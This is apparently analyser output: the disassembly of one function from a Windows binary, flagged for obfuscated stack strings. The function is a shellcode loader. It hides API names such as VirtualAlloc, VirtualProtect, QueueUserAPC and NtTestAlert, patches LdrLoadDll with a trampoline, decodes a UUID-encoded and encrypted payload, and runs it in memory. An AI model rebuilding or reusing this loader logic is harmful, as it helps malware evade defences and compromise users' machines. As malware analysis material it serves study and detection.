Function at 0x4017d6
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
push rdi
push rbx
mov eax, 0x20240
call fcn.00405740
sub rsp, rax
lea rbp, [rsp + 0x80]
call fcn.00404370
lea rdx, [rbp + 0x200b0]
mov eax, 0
mov ecx, 6
mov rdi, rdx
rep stosq qword [rdi], rax
lea rdx, [rbp + 0x20080]
mov eax, 0
mov ecx, 6
mov rdi, rdx
rep stosq qword [rdi], rax
lea rdx, [rbp + 0x20050]
mov eax, 0
mov ecx, 6
mov rdi, rdx
rep stosq qword [rdi], rax
mov word [rbp + 0x20030], 0x6c
mov word [rbp + 0x20032], 0x6c
mov word [rbp + 0x20034], 0x64
mov word [rbp + 0x20036], 0x2e
mov word [rbp + 0x20038], 0x33
mov word [rbp + 0x2003a], 0x32
mov word [rbp + 0x2003c], 0x65
mov word [rbp + 0x2003e], 0x73
mov word [rbp + 0x20040], 0x55
mov word [rbp + 0x20042], 0
mov word [rbp + 0x20010], 0x6c
mov word [rbp + 0x20012], 0x6c
mov word [rbp + 0x20014], 0x64
mov word [rbp + 0x20016], 0x2e
mov word [rbp + 0x20018], 0x32
mov word [rbp + 0x2001a], 0x33
mov word [rbp + 0x2001c], 0x6c
mov word [rbp + 0x2001e], 0x65
mov word [rbp + 0x20020], 0x6e
mov word [rbp + 0x20022], 0x72
mov word [rbp + 0x20024], 0x65
mov word [rbp + 0x20026], 0x4b
mov word [rbp + 0x20028], 0
mov word [rbp + 0x1fff0], 0x6c
mov word [rbp + 0x1fff2], 0x6c
mov word [rbp + 0x1fff4], 0x64
mov word [rbp + 0x1fff6], 0x2e
mov word [rbp + 0x1fff8], 0x6c
mov word [rbp + 0x1fffa], 0x6c
mov word [rbp + 0x1fffc], 0x64
mov word [rbp + 0x1fffe], 0x74
mov word [rbp + 0x20000], 0x6e
mov word [rbp + 0x20002], 0
lea rax, [rbp + 0x20030]
mov rcx, rax
call fcn.00401746
lea rax, [rbp + 0x20010]
mov rcx, rax
call fcn.00401746
lea rax, [rbp + 0x1fff0]
mov rcx, rax
call fcn.00401746
mov byte [rbp + 0x1ffe5], 0x6c
mov byte [rbp + 0x1ffe6], 0x6c
mov byte [rbp + 0x1ffe7], 0x44
mov byte [rbp + 0x1ffe8], 0x64
mov byte [rbp + 0x1ffe9], 0x61
mov byte [rbp + 0x1ffea], 0x6f
mov byte [rbp + 0x1ffeb], 0x4c
mov byte [rbp + 0x1ffec], 0x72
mov byte [rbp + 0x1ffed], 0x64
mov byte [rbp + 0x1ffee], 0x4c
mov byte [rbp + 0x1ffef], 0
mov byte [rbp + 0x1ffdb], 0x6c
mov byte [rbp + 0x1ffdc], 0x6c
mov byte [rbp + 0x1ffdd], 0x64
mov byte [rbp + 0x1ffde], 0x2e
mov byte [rbp + 0x1ffdf], 0x6c
mov byte [rbp + 0x1ffe0], 0x6c
mov byte [rbp + 0x1ffe1], 0x64
mov byte [rbp + 0x1ffe2], 0x74
mov byte [rbp + 0x1ffe3], 0x6e
mov byte [rbp + 0x1ffe4], 0
mov byte [rbp + 0x1ffce], 0x6c
mov byte [rbp + 0x1ffcf], 0x6c
mov byte [rbp + 0x1ffd0], 0x64
mov byte [rbp + 0x1ffd1], 0x2e
mov byte [rbp + 0x1ffd2], 0x32
mov byte [rbp + 0x1ffd3], 0x33
mov byte [rbp + 0x1ffd4], 0x6c
mov byte [rbp + 0x1ffd5], 0x65
mov byte [rbp + 0x1ffd6], 0x6e
mov byte [rbp + 0x1ffd7], 0x72
mov byte [rbp + 0x1ffd8], 0x65
mov byte [rbp + 0x1ffd9], 0x4b
mov byte [rbp + 0x1ffda], 0
lea rax, [rbp + 0x1ffe5]
mov rcx, rax
call fcn.004016c6
lea rax, [rbp + 0x1ffdb]
mov rcx, rax
call fcn.004016c6
lea rax, [rbp + 0x1ffce]
mov rcx, rax
call fcn.004016c6
lea rdx, [rbp + 0x20030]
lea rax, [rbp + 0x20100]
mov rcx, rax
call fcn.004015fc
lea rdx, [rbp + 0x20010]
lea rax, [rbp + 0x200f0]
mov rcx, rax
call fcn.004015fc
lea rdx, [rbp + 0x1fff0]
lea rax, [rbp + 0x200e0]
mov rcx, rax
call fcn.004015fc
mov dword [rbp + 0x200b0], 0x30
mov qword [rbp + 0x200b8], 0
mov dword [rbp + 0x200c8], 0x40
lea rax, [rbp + 0x20100]
mov qword [rbp + 0x200c0], rax
mov qword [rbp + 0x200d0], 0
mov qword [rbp + 0x200d8], 0
mov dword [rbp + 0x20080], 0x30
mov qword [rbp + 0x20088], 0
mov dword [rbp + 0x20098], 0x40
lea rax, [rbp + 0x200f0]
mov qword [rbp + 0x20090], rax
mov qword [rbp + 0x200a0], 0
mov qword [rbp + 0x200a8], 0
mov dword [rbp + 0x20050], 0x30
mov qword [rbp + 0x20058], 0
mov dword [rbp + 0x20068], 0x40
lea rax, [rbp + 0x200e0]
mov qword [rbp + 0x20060], rax
mov qword [rbp + 0x20070], 0
mov qword [rbp + 0x20078], 0
mov byte [rbp + 0x1ffb0], 0x41
mov byte [rbp + 0x1ffb1], 0x65
mov byte [rbp + 0x1ffb2], 0x6c
mov byte [rbp + 0x1ffb3], 0x64
mov byte [rbp + 0x1ffb4], 0x6e
mov byte [rbp + 0x1ffb5], 0x61
mov byte [rbp + 0x1ffb6], 0x48
mov byte [rbp + 0x1ffb7], 0x65
mov byte [rbp + 0x1ffb8], 0x6c
mov byte [rbp + 0x1ffb9], 0x75
mov byte [rbp + 0x1ffba], 0x64
mov byte [rbp + 0x1ffbb], 0x6f
mov byte [rbp + 0x1ffbc], 0x4d
mov byte [rbp + 0x1ffbd], 0x74
mov byte [rbp + 0x1ffbe], 0x65
mov byte [rbp + 0x1ffbf], 0x47
mov byte [rbp + 0x1ffc0], 0
lea rax, [rbp + 0x1ffb0]
mov rcx, rax
call fcn.004016c6
lea rax, [rbp + 0x1ffce]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, [rbp + 0x1ffb0]
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x201b0], rax
mov byte [rbp + 0x1ffa1], 0x73
mov byte [rbp + 0x1ffa2], 0x73
mov byte [rbp + 0x1ffa3], 0x65
mov byte [rbp + 0x1ffa4], 0x72
mov byte [rbp + 0x1ffa5], 0x64
mov byte [rbp + 0x1ffa6], 0x64
mov byte [rbp + 0x1ffa7], 0x41
mov byte [rbp + 0x1ffa8], 0x63
mov byte [rbp + 0x1ffa9], 0x6f
mov byte [rbp + 0x1ffaa], 0x72
mov byte [rbp + 0x1ffab], 0x50
mov byte [rbp + 0x1ffac], 0x74
mov byte [rbp + 0x1ffad], 0x65
mov byte [rbp + 0x1ffae], 0x47
mov byte [rbp + 0x1ffaf], 0
lea rax, [rbp + 0x1ffa1]
mov rcx, rax
call fcn.004016c6
lea rdx, [rbp + 0x1ffce]
mov rax, qword [rbp + 0x201b0]
mov rcx, rdx
call rax
mov rcx, rax
lea rax, [rbp + 0x1ffa1]
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x201a8], rax
mov byte [rbp + 0x1ff94], 0x63
mov byte [rbp + 0x1ff95], 0x6f
mov byte [rbp + 0x1ff96], 0x6c
mov byte [rbp + 0x1ff97], 0x6c
mov byte [rbp + 0x1ff98], 0x41
mov byte [rbp + 0x1ff99], 0x6c
mov byte [rbp + 0x1ff9a], 0x61
mov byte [rbp + 0x1ff9b], 0x75
mov byte [rbp + 0x1ff9c], 0x74
mov byte [rbp + 0x1ff9d], 0x72
mov byte [rbp + 0x1ff9e], 0x69
mov byte [rbp + 0x1ff9f], 0x56
mov byte [rbp + 0x1ffa0], 0
lea rax, [rbp + 0x1ff94]
mov rcx, rax
call fcn.004016c6
lea rax, [rbp + 0x1ffce]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rdx, [rbp + 0x1ff94]
mov rax, qword [rbp + 0x201a8]
call rax
mov qword [rbp + 0x201a0], rax
mov byte [rbp + 0x1ff85], 0x74
mov byte [rbp + 0x1ff86], 0x63
mov byte [rbp + 0x1ff87], 0x65
mov byte [rbp + 0x1ff88], 0x74
mov byte [rbp + 0x1ff89], 0x6f
mov byte [rbp + 0x1ff8a], 0x72
mov byte [rbp + 0x1ff8b], 0x50
mov byte [rbp + 0x1ff8c], 0x6c
mov byte [rbp + 0x1ff8d], 0x61
mov byte [rbp + 0x1ff8e], 0x75
mov byte [rbp + 0x1ff8f], 0x74
mov byte [rbp + 0x1ff90], 0x72
mov byte [rbp + 0x1ff91], 0x69
mov byte [rbp + 0x1ff92], 0x56
mov byte [rbp + 0x1ff93], 0
lea rax, [rbp + 0x1ff85]
mov rcx, rax
call fcn.004016c6
lea rax, [rbp + 0x1ffce]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rdx, [rbp + 0x1ff85]
mov rax, qword [rbp + 0x201a8]
call rax
mov qword [rbp + 0x20198], rax
lea rax, [rbp + 0x1ffdb]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rdx, [rbp + 0x1ffe5]
mov rax, qword [rbp + 0x201a8]
call rax
mov qword [rbp + 0x20190], rax
mov byte [rbp + 0x1ff83], 0x49
mov byte [rbp + 0x1ff84], 0xbb
mov byte [rbp + 0x1ff7b], 0xde
mov byte [rbp + 0x1ff7c], 0xad
mov byte [rbp + 0x1ff7d], 0xbe
mov byte [rbp + 0x1ff7e], 0xef
mov byte [rbp + 0x1ff7f], 0xde
mov byte [rbp + 0x1ff80], 0xad
mov byte [rbp + 0x1ff81], 0xbe
mov byte [rbp + 0x1ff82], 0xef
mov byte [rbp + 0x1ff77], 0x41
mov byte [rbp + 0x1ff78], 0xff
mov byte [rbp + 0x1ff79], 0xe3
mov byte [rbp + 0x1ff7a], 0xc3
mov rax, qword [rbp + 0x20190]
add rax, 5
mov qword [rbp + 0x20188], rax
lea rax, [rbp + 0x1ff7b]
mov rdx, qword [rbp + 0x20188]
mov qword [rax], rdx
mov rax, qword [rbp + 0x201a0]
mov r9d, 4
mov r8d, 0x3000
mov edx, 0x13
mov ecx, 0
call rax
mov qword [rbp + 0x20180], rax
mov rax, qword [rbp + 0x20180]
mov r8d, 5
lea rdx, section..rdata
mov rcx, rax
call fcn.00401560
mov rax, qword [rbp + 0x20180]
lea rcx, [rax + 5]
lea rax, [rbp + 0x1ff83]
mov r8d, 2
mov rdx, rax
call fcn.00401560
mov rax, qword [rbp + 0x20180]
lea rcx, [rax + 7]
lea rax, [rbp + 0x1ff7b]
mov r8d, 8
mov rdx, rax
call fcn.00401560
mov rax, qword [rbp + 0x20180]
lea rcx, [rax + 0xf]
lea rax, [rbp + 0x1ff77]
mov r8d, 4
mov rdx, rax
call fcn.00401560
mov dword [rbp + 0x1ff70], 0
lea rdx, [rbp + 0x1ff70]
mov rcx, qword [rbp + 0x20180]
mov rax, qword [rbp + 0x20198]
mov r9, rdx
mov r8d, 0x20
mov edx, 0x1e
call rax
mov rax, qword [rbp + 0x20180]
mov qword [rbp + 0x20178], rax
mov qword [rbp + 0x1ff68], 0
lea rcx, [rbp + 0x1ff68]
lea rdx, [rbp + 0x20100]
mov rax, qword [rbp + 0x20178]
mov r9, rcx
mov r8, rdx
mov edx, 0
mov ecx, 0
call rax
mov qword [rbp + 0x1ff60], 0
lea rcx, [rbp + 0x1ff60]
lea rdx, [rbp + 0x200f0]
mov rax, qword [rbp + 0x20178]
mov r9, rcx
mov r8, rdx
mov edx, 0
mov ecx, 0
call rax
mov qword [rbp + 0x1ff58], 0
lea rcx, [rbp + 0x1ff58]
lea rdx, [rbp + 0x200e0]
mov rax, qword [rbp + 0x20178]
mov r9, rcx
mov r8, rdx
mov edx, 0
mov ecx, 0
call rax
mov rcx, qword [rbp + 0x1ff60]
lea rdx, [rbp + 0x1ffa1]
mov rax, qword [rbp + 0x201a8]
call rax
mov qword [rbp + 0x20170], rax
mov rcx, qword [rbp + 0x1ff60]
lea rdx, [rbp + 0x1ff94]
mov rax, qword [rbp + 0x20170]
call rax
mov qword [rbp + 0x20168], rax
mov rcx, qword [rbp + 0x1ff60]
lea rdx, [rbp + 0x1ff85]
mov rax, qword [rbp + 0x20170]
call rax
mov qword [rbp + 0x20160], rax
mov byte [rbp + 0x1ff40], 0x79
mov byte [rbp + 0x1ff41], 0x72
mov byte [rbp + 0x1ff42], 0x6f
mov byte [rbp + 0x1ff43], 0x6d
mov byte [rbp + 0x1ff44], 0x65
mov byte [rbp + 0x1ff45], 0x4d
mov byte [rbp + 0x1ff46], 0x73
mov byte [rbp + 0x1ff47], 0x73
mov byte [rbp + 0x1ff48], 0x65
mov byte [rbp + 0x1ff49], 0x63
mov byte [rbp + 0x1ff4a], 0x6f
mov byte [rbp + 0x1ff4b], 0x72
mov byte [rbp + 0x1ff4c], 0x50
mov byte [rbp + 0x1ff4d], 0x65
mov byte [rbp + 0x1ff4e], 0x74
mov byte [rbp + 0x1ff4f], 0x69
mov byte [rbp + 0x1ff50], 0x72
mov byte [rbp + 0x1ff51], 0x57
mov byte [rbp + 0x1ff52], 0
lea rax, [rbp + 0x1ff40]
mov rcx, rax
call fcn.004016c6
mov rcx, qword [rbp + 0x1ff60]
lea rdx, [rbp + 0x1ff40]
mov rax, qword [rbp + 0x20170]
call rax
mov qword [rbp + 0x20158], rax
mov byte [rbp + 0x1ff20], 0x73
mov byte [rbp + 0x1ff21], 0x73
mov byte [rbp + 0x1ff22], 0x65
mov byte [rbp + 0x1ff23], 0x63
mov byte [rbp + 0x1ff24], 0x6f
mov byte [rbp + 0x1ff25], 0x72
mov byte [rbp + 0x1ff26], 0x50
mov byte [rbp + 0x1ff27], 0x74
mov byte [rbp + 0x1ff28], 0x6e
mov byte [rbp + 0x1ff29], 0x65
mov byte [rbp + 0x1ff2a], 0x72
mov byte [rbp + 0x1ff2b], 0x72
mov byte [rbp + 0x1ff2c], 0x75
mov byte [rbp + 0x1ff2d], 0x43
mov byte [rbp + 0x1ff2e], 0x74
mov byte [rbp + 0x1ff2f], 0x65
mov byte [rbp + 0x1ff30], 0x47
mov byte [rbp + 0x1ff31], 0
lea rax, [rbp + 0x1ff20]
mov rcx, rax
call fcn.004016c6
mov rcx, qword [rbp + 0x1ff60]
lea rdx, [rbp + 0x1ff20]
mov rax, qword [rbp + 0x20170]
call rax
mov qword [rbp + 0x20150], rax
lea rax, [rbp + 0xd0]
lea rdx, str.bbc7f052_ef83_146b_1afd_0665043a4944
mov ecx, 0x1fe48
mov r8, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov dword [rbp + 0x2014c], 0x3fc9
mov eax, dword [rbp + 0x2014c]
cdqe
shl rax, 4
mov rcx, rax
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x20140], rax
cmp qword [rbp + 0x20140], 0
jne 0x402283
mov eax, 0xffffffff
jmp 0x402572
mov dword [rbp + 0x201bc], 0
jmp 0x4022f3
mov eax, dword [rbp + 0x201bc]
cdqe
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x20140]
add rdx, rax
mov eax, dword [rbp + 0x201bc]
cdqe
mov rax, qword [rbp + rax*8 + 0xd0]
mov rcx, rax
mov rax, qword [sym.imp.RPCRT4.dll_UuidFromStringA]
call rax
mov dword [rbp + 0x20114], eax
cmp dword [rbp + 0x20114], 0
je 0x4022ec
mov rax, qword [rbp + 0x20140]
mov rcx, rax
call sub.msvcrt.dll_free
mov eax, 0xffffffff
jmp 0x402572
add dword [rbp + 0x201bc], 1
mov eax, dword [rbp + 0x201bc]
cmp eax, dword [rbp + 0x2014c]
jl 0x40228f
mov eax, dword [rbp + 0x2014c]
cdqe
shl eax, 4
mov dword [rbp + 0x2013c], eax
movabs rax, 0x6b50356e55626934
mov qword [rbp + 0xb0], rax
movabs rax, 0x41626a5541755353
mov qword [rbp + 0xb8], rax
mov byte [rbp + 0xc0], 0
movabs rax, 0x374d396661565348
mov qword [rbp + 0x90], rax
movabs rax, 0x6d46333438713863
mov qword [rbp + 0x98], rax
mov byte [rbp + 0xa0], 0
lea rcx, [rbp + 0x90]
lea rdx, [rbp + 0xb0]
lea rax, [rbp - 0x30]
mov r8, rcx
mov rcx, rax
call fcn.00403132
mov ecx, dword [rbp + 0x2013c]
mov rdx, qword [rbp + 0x20140]
lea rax, [rbp - 0x30]
mov r8, rcx
mov rcx, rax
call fcn.00404108
mov eax, dword [rbp + 0x2013c]
mov qword [rbp + 0x20130], rax
mov qword [rbp + 0x20128], 0
mov byte [rbp - 0x3d], 0x43
mov byte [rbp - 0x3c], 0x50
mov byte [rbp - 0x3b], 0x41
mov byte [rbp - 0x3a], 0x72
mov byte [rbp - 0x39], 0x65
mov byte [rbp - 0x38], 0x73
mov byte [rbp - 0x37], 0x55
mov byte [rbp - 0x36], 0x65
mov byte [rbp - 0x35], 0x75
mov byte [rbp - 0x34], 0x65
mov byte [rbp - 0x33], 0x75
mov byte [rbp - 0x32], 0x51
mov byte [rbp - 0x31], 0
lea rax, [rbp - 0x3d]
mov rcx, rax
call fcn.004016c6
mov rcx, qword [rbp + 0x1ff60]
lea rdx, [rbp - 0x3d]
mov rax, qword [rbp + 0x20170]
call rax
mov qword [rbp + 0x20120], rax
mov byte [rbp - 0x49], 0x74
mov byte [rbp - 0x48], 0x72
mov byte [rbp - 0x47], 0x65
mov byte [rbp - 0x46], 0x6c
mov byte [rbp - 0x45], 0x41
mov byte [rbp - 0x44], 0x74
mov byte [rbp - 0x43], 0x73
mov byte [rbp - 0x42], 0x65
mov byte [rbp - 0x41], 0x54
mov byte [rbp - 0x40], 0x74
mov byte [rbp - 0x3f], 0x4e
mov byte [rbp - 0x3e], 0
lea rax, [rbp - 0x49]
mov rcx, rax
call fcn.004016c6
mov rax, qword [rbp + 0x1ff58]
lea rdx, [rbp - 0x49]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x20118], rax
mov rdx, qword [rbp + 0x20130]
mov rax, qword [rbp + 0x20168]
mov r9d, 4
mov r8d, 0x3000
mov ecx, 0
call rax
mov qword [rbp + 0x20128], rax
movabs rcx, 0xde0b6b3a7640859
call fcn.0040166a
lea r8, [rbp - 0x50]
mov rdx, qword [rbp + 0x20130]
mov rcx, qword [rbp + 0x20128]
mov rax, qword [rbp + 0x20160]
mov r9, r8
mov r8d, 0x20
call rax
movabs rcx, 0xde0b6b3a7640801
call fcn.0040166a
lea r8, [rbp - 0x50]
mov rdx, qword [rbp + 0x20130]
mov rcx, qword [rbp + 0x20128]
mov rax, qword [rbp + 0x20160]
mov r9, r8
mov r8d, 0x40
call rax
movabs rcx, 0xde0b6b3a76409b1
call fcn.0040166a
mov ebx, dword [rbp + 0x2013c]
mov rax, qword [rbp + 0x20150]
call rax
mov r10, rax
mov rcx, qword [rbp + 0x20140]
mov rdx, qword [rbp + 0x20128]
mov qword [rsp + 0x20], 0
mov rax, qword [rbp + 0x20158]
mov r9, rbx
mov r8, rcx
mov rcx, r10
call rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rcx, qword [rbp + 0x20128]
mov rax, qword [rbp + 0x20120]
mov r8d, 0
call rax
mov rax, qword [rbp + 0x20118]
call rax
mov eax, 0
add rsp, 0x20240
pop rbx
pop rdi
pop rbp
ret